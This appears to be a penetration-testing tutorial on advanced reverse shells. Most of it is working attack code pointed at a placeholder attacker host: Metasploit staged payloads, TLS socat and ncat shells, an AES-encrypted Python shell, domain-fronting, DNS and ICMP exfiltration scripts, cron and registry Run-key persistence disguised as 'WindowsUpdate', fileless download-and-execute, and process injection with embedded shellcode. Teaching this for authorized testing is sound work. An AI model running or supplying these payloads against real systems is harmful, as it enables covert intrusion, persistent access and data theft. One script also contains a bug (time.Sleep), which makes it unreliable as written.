Advanced Reverse Shell Techniques
Sophisticated methods for creating more powerful, resilient, and stealthy reverse shells
This section explores sophisticated techniques for creating more powerful, resilient, and stealthy reverse shells. These advanced methods are particularly useful in complex penetration testing scenarios or when basic reverse shells are insufficient.
Multi-Stage Payloads
Multi-stage payloads separate the delivery process into multiple components, making detection more difficult and enabling more complex functionality.
Stagers and Stages
A multi-stage payload consists of:
- Stager: A small initial payload that establishes a connection and downloads the main payload
- Stage: The full-featured payload that provides the actual reverse shell functionality
This approach minimizes the initial footprint and allows for more sophisticated payloads to be delivered after initial execution.
Metasploit Framework Staged Payloads
The Metasploit Framework offers a variety of staged payloads for different platforms:
# List available staged payloads
msfvenom -l payloads | grep staged
# Generate a staged Windows payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o staged_payload.exe
# Set up the handler for the staged payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST attacker-ip
set LPORT 4444
run
Key Differences in Payload Naming:
windows/shell_reverse_tcp
: Single-stage payload (entire payload delivered at once)windows/shell/reverse_tcp
: Multi-stage payload (stager downloads the shell stage)
Encrypted Communication
Encrypting reverse shell traffic helps evade detection by network security monitoring tools and prevents traffic interception.
SSL/TLS Encrypted Shells
Generate SSL Certificate
On the attacker machine, create a self-signed certificate:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Set Up Encrypted Listener
Start an SSL-enabled listener:
# Using socat
socat OPENSSL-LISTEN:4444,cert=cert.pem,key=key.pem,verify=0 -
# Using ncat (from Nmap)
ncat --ssl -lvp 4444
Create Encrypted Reverse Shell
On the target machine:
# Using socat
socat OPENSSL:attacker-ip:4444,verify=0 EXEC:/bin/bash,pty,stderr,sigint,setsid,sane
# Using ncat
ncat --ssl attacker-ip 4444 -e /bin/bash
Custom Encryption Implementation
For situations where standard tools aren't available, you can implement custom encryption:
# Python reverse shell with AES encryption
import socket, subprocess, os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
# Shared key and IV (in a real scenario, these would be securely exchanged)
key = b'sixteen byte key!'
iv = b'sixteen byte iv!!'
def encrypt(data):
cipher = AES.new(key, AES.MODE_CBC, iv)
return base64.b64encode(cipher.encrypt(pad(data.encode(), AES.block_size)))
def decrypt(data):
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(base64.b64decode(data)), AES.block_size).decode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker-ip", 4444))
while True:
# Receive encrypted command
encrypted_command = s.recv(1024)
if not encrypted_command:
break
# Decrypt and execute
command = decrypt(encrypted_command)
if command.lower() == "exit":
break
# Execute and encrypt result
output = subprocess.getoutput(command)
s.send(encrypt(output))
s.close()
Note: This example requires the pycryptodome
library and a compatible listener on the attacker side.
Domain Fronting
Domain fronting uses trusted domains as proxies to hide the true destination of traffic, making it difficult to block reverse shell connections.
# Python reverse shell using domain fronting
import requests
import subprocess
import time
import base64
# Configuration
front_domain = "trusted-cdn.com" # A trusted domain that supports fronting
actual_c2 = "attacker-controlled-domain.com" # Your actual C2 server
headers = {
"Host": actual_c2,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
while True:
try:
# Get command from C2
response = requests.get(f"https://{front_domain}/commands", headers=headers)
if response.status_code == 200 and response.text:
# Decode command
command = base64.b64decode(response.text).decode()
# Execute command
result = subprocess.getoutput(command)
# Send result back to C2
encoded_result = base64.b64encode(result.encode()).decode()
requests.post(
f"https://{front_domain}/results",
headers=headers,
data={"output": encoded_result}
)
except:
pass
# Sleep before next check
time.Sleep(30)
Key Points:
- Requires a CDN or service that supports domain fronting
- Traffic appears to be destined for a legitimate domain
- Actual C2 communication is hidden in the HTTP headers
- Effective against network filtering based on domain reputation
DNS Tunneling
DNS tunneling encapsulates reverse shell traffic within DNS queries and responses, bypassing firewalls that allow DNS traffic.
# Using dnscat2 for DNS tunneling
# On attacker machine:
dnscat2-server domain=exfil.example.com
# On target machine:
./dnscat2 exfil.example.com
Implementation Example (Python):
import socket
import subprocess
import base64
import time
import random
import string
def generate_subdomain(data, domain):
# Encode command output as base64 and split into chunks
encoded = base64.b64encode(data.encode()).decode()
chunks = [encoded[i:i+30] for i in range(0, len(encoded), 30)]
# Create DNS queries with the encoded data
queries = []
for i, chunk in enumerate(chunks):
# Add random string to prevent caching
random_str = ''.join(random.choices(string.ascii_lowercase, k=5))
queries.append(f"{i}.{chunk}.{random_str}.{domain}")
return queries
def execute_command(command):
return subprocess.getoutput(command)
def main():
c2_domain = "attacker-domain.com"
while True:
try:
# Simulate getting command through DNS
# In a real implementation, this would parse the TXT record
command = "whoami" # This would come from DNS response
# Execute command
result = execute_command(command)
# Send result through DNS queries
queries = generate_subdomain(result, c2_domain)
for query in queries:
try:
# Send DNS query
socket.gethostbyname(query)
except:
pass
time.sleep(1)
except Exception as e:
pass
time.sleep(60)
if __name__ == "__main__":
main()
Key Points:
- Leverages DNS, which is rarely blocked in networks
- Data is fragmented across multiple DNS queries
- Slower than direct TCP/IP communication
- Requires a DNS server under attacker control
- Can be detected by analyzing DNS query patterns and volume
ICMP Tunneling
ICMP tunneling uses ICMP echo (ping) packets to carry reverse shell traffic, taking advantage of the fact that many networks allow ICMP traffic.
# Using ptunnel for ICMP tunneling
# On attacker machine:
ptunnel -x password
# On target machine:
ptunnel -x password -p attacker-ip -lp 8000 -da 127.0.0.1 -dp 22
# Then connect to the local port
ssh user@127.0.0.1 -p 8000
Simple Python Implementation:
import socket
import struct
import subprocess
import time
from scapy.all import *
def create_icmp_packet(data, seq):
# Create an ICMP echo request with data embedded
return IP(dst="attacker-ip")/ICMP(type=8, seq=seq)/Raw(load=data)
def extract_data(packet):
# Extract data from ICMP packet
return packet[Raw].load
def execute_command(command):
return subprocess.getoutput(command)
def main():
seq = 1
while True:
try:
# In a real implementation, we would sniff for incoming commands
# For simplicity, we'll just execute a command
command = "whoami"
# Execute command
result = execute_command(command)
# Split result into chunks
chunks = [result[i:i+32] for i in range(0, len(result), 32)]
# Send result via ICMP
for chunk in chunks:
packet = create_icmp_packet(chunk, seq)
send(packet, verbose=0)
seq += 1
time.sleep(0.5)
except Exception as e:
pass
time.sleep(60)
if __name__ == "__main__":
main()
Key Points:
- Uses ICMP protocol, which is often allowed for network troubleshooting
- Data is embedded in the payload of ping packets
- Can be detected by analyzing ICMP packet sizes and frequencies
- Requires root/administrator privileges on both systems
Persistent Reverse Shells
Creating persistence ensures that reverse shells reconnect after system reboots or connection loss.
Linux Persistence Methods
# Add a cron job to reconnect every 5 minutes
(crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'") | crontab -
Windows Persistence Methods
# Add PowerShell reverse shell to Run key
$payload = 'powershell -WindowStyle Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient(''attacker-ip'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'
# Add to current user Run key
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value $payload -PropertyType String
Fileless Reverse Shells
Fileless techniques execute entirely in memory without writing to disk, making them harder to detect by traditional antivirus solutions.
PowerShell Reflective Loading
# Download and execute a PowerShell script directly in memory
powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/payload.ps1')"
Process Injection
# PowerShell script to inject shellcode into another process
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
'
# Add the code as a type
Add-Type -MemberDefinition $code -Name Win32 -Namespace Win32Functions
# Meterpreter shellcode (replace with your own)
[Byte[]] $shellcode = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
# Target process ID (example: notepad.exe)
$targetProcess = Get-Process notepad | Select-Object -First 1
# Open process with all access
$processHandle = [Win32Functions.Win32]::OpenProcess(0x001F0FFF, $false, $targetProcess.Id)
# Allocate memory in the target process
$memoryAddress = [Win32Functions.Win32]::VirtualAllocEx($processHandle, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
# Write shellcode to the allocated memory
[UIntPtr] $bytesWritten = [UIntPtr]::Zero
[Win32Functions.Win32]::WriteProcessMemory($processHandle, $memoryAddress, $shellcode, $shellcode.Length, [ref] $bytesWritten)
# Create a remote thread to execute the shellcode
[Win32Functions.Win32]::CreateRemoteThread($processHandle, [IntPtr]::Zero, 0, $memoryAddress, [IntPtr]::Zero, 0, [IntPtr]::Zero)
Reverse Shell Handlers and Management
Advanced reverse shell management tools provide better control and functionality than basic netcat listeners.
Metasploit Framework
# Set up a multi-handler with session management
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST attacker-ip
set LPORT 4444
set ExitOnSession false
set SessionCommunicationTimeout 0
exploit -j
Empire Framework
# Start a listener in Empire
listeners
uselistener http
set Host attacker-ip
set Port 8080
execute
# Generate a stager
usestager windows/launcher_bat
set Listener http
generate
Covenant C2
Covenant provides a web interface for managing reverse shell sessions with advanced features:
- Start the Covenant server
- Create a listener (e.g., HTTP)
- Generate a launcher for the target platform
- Deploy the launcher on the target
- Manage the resulting "Grunt" session through the web interface
Conclusion
Advanced reverse shell techniques provide penetration testers with powerful capabilities for maintaining access to compromised systems while evading detection. When combined with proper evasion techniques (covered in the next section), these methods can be highly effective in simulating sophisticated threat actors during authorized security assessments.
Remember that these techniques should only be used in legal, authorized penetration testing scenarios with proper documentation and approval.